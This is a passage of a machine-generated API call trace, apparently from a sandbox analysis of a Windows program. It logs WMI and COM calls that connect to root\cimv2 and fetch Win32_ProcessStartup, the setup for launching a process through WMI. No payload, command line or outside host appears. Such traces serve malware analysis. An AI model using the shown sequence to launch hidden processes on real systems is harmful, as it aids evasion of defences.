ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc58420) returned 0x0 [0151.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58420, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0151.570] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58420, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc94e70) returned 0x0 [0151.571] WbemDefPath:IUnknown:Release (This=0x1bc58420) returned 0x0 [0151.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc94e70) returned 0x0 [0151.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0151.571] WbemDefPath:IUnknown:AddRef (This=0x1bc94e70) returned 0x3 [0151.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0151.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0151.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc585e0) returned 0x0 [0151.571] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc585e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.571] WbemDefPath:IUnknown:Release (This=0x1bc585e0) returned 0x3 [0151.571] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0151.571] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0151.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0151.572] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x2 [0151.572] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x1 [0151.572] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0151.572] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0151.572] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94e70, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc94e70) returned 0x0 [0151.572] WbemDefPath:IUnknown:AddRef (This=0x1bc94e70) returned 0x3 [0151.572] WbemDefPath:IUnknown:Release (This=0x1bc94e70) returned 0x2 [0151.572] WbemDefPath:IWbemPath:SetText (This=0x1bc94e70, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0151.572] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94e70, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0151.572] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0151.572] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0151.573] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94e70, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0151.573] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94e70, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0151.573] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94e70, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0151.573] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94e70, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0151.573] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0151.573] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0151.573] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.573] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0151.573] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0151.573] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0151.573] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.575] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc58560) returned 0x0 [0151.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58560, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0151.576] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58560, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc94cf0) returned 0x0 [0151.576] WbemDefPath:IUnknown:Release (This=0x1bc58560) returned 0x0 [0151.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc94cf0) returned 0x0 [0151.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0151.576] WbemDefPath:IUnknown:AddRef (This=0x1bc94cf0) returned 0x3 [0151.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0151.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0151.577] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc585a0) returned 0x0 [0151.577] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc585a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.577] WbemDefPath:IUnknown:Release (This=0x1bc585a0) returned 0x3 [0151.577] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0151.577] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0151.577] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0151.614] WbemDefPath:IUnknown:Release (This=0x1bc94cf0) returned 0x2 [0151.614] WbemDefPath:IUnknown:Release (This=0x1bc94cf0) returned 0x1 [0151.614] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0151.614] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0151.614] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94cf0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc94cf0) returned 0x0 [0151.614] WbemDefPath:IUnknown:AddRef (This=0x1bc94cf0) returned 0x3 [0151.614] WbemDefPath:IUnknown:Release (This=0x1bc94cf0) returned 0x2 [0151.614] WbemDefPath:IWbemPath:SetText (This=0x1bc94cf0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0151.614] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94cf0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0151.614] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94cf0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0151.614] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94cf0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.614] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0151.614] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0151.614] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0151.614] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.615] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc582c0) returned 0x0 [0151.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc582c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0151.616] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc582c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc58220) returned 0x0 [0151.616] WbemLocator:IUnknown:Release (This=0x1bc582c0) returned 0x0 [0151.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58220, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc58220) returned 0x0 [0151.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58220, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0151.616] WbemLocator:IUnknown:AddRef (This=0x1bc58220) returned 0x3 [0151.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58220, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0151.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58220, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0151.616] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58220, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0151.616] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0151.617] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0151.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58220, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0151.617] WbemLocator:IUnknown:Release (This=0x1bc58220) returned 0x2 [0151.617] WbemLocator:IUnknown:Release (This=0x1bc58220) returned 0x1 [0151.617] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0151.617] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0151.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58220, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc58220) returned 0x0 [0151.617] WbemLocator:IUnknown:AddRef (This=0x1bc58220) returned 0x3 [0151.617] WbemLocator:IUnknown:Release (This=0x1bc58220) returned 0x2 [0151.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94cf0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0151.617] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94cf0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0151.617] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94cf0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.617] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc58240) returned 0x0 [0151.617] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc58240, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1a9e2920) returned 0x0 [0151.732] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2920, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa021a0) returned 0x0 [0151.733] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa021a0, pProxy=0x1a9e2920, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0151.733] WbemLocator:IUnknown:Release (This=0x1aa021a0) returned 0x1 [0151.733] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2920, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa021e0) returned 0x0 [0151.733] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2920, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa021a0) returned 0x0 [0151.733] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa021a0, pProxy=0x1a9e2920, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0151.733] WbemLocator:IUnknown:Release (This=0x1aa021a0) returned 0x2 [0151.733] WbemLocator:IUnknown:Release (This=0x1aa021e0) returned 0x1 [0151.733] CoTaskMemFree (pv=0x1a9efd80) [0151.734] WbemLocator:IUnknown:AddRef (This=0x1a9e2920) returned 0x2 [0151.734] WbemLocator:IUnknown:Release (This=0x1bc58240) returned 0x0 [0151.734] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0151.734] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0151.734] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2920, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa021b0) returned 0x0 [0151.734] WbemLocator:IRpcOptions:Query (in: This=0x1aa021b0, pPrx=0x1bc591c0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0151.734] WbemLocator:IUnknown:Release (This=0x1aa021b0) returned 0x2 [0151.735] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0151.735] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0151.735] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2920, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1a9e2920) returned 0x0 [0151.735] WbemLocator:IUnknown:Release (This=0x1a9e2920) returned 0x2 [0151.735] SysStringLen (param_1=0x0) returned 0x0 [0151.735] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0151.735] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94e70, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0151.735] IWbemServices:GetObject (in: This=0x1a9e2920, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bb93ad0, ppCallResult=0x0) returned 0x0 [0151.737] IWbemClassObject:Get (in: This=0x1bb93ad0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0151.737] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0151.738] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0151.738] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0151.738] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0151.738] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: 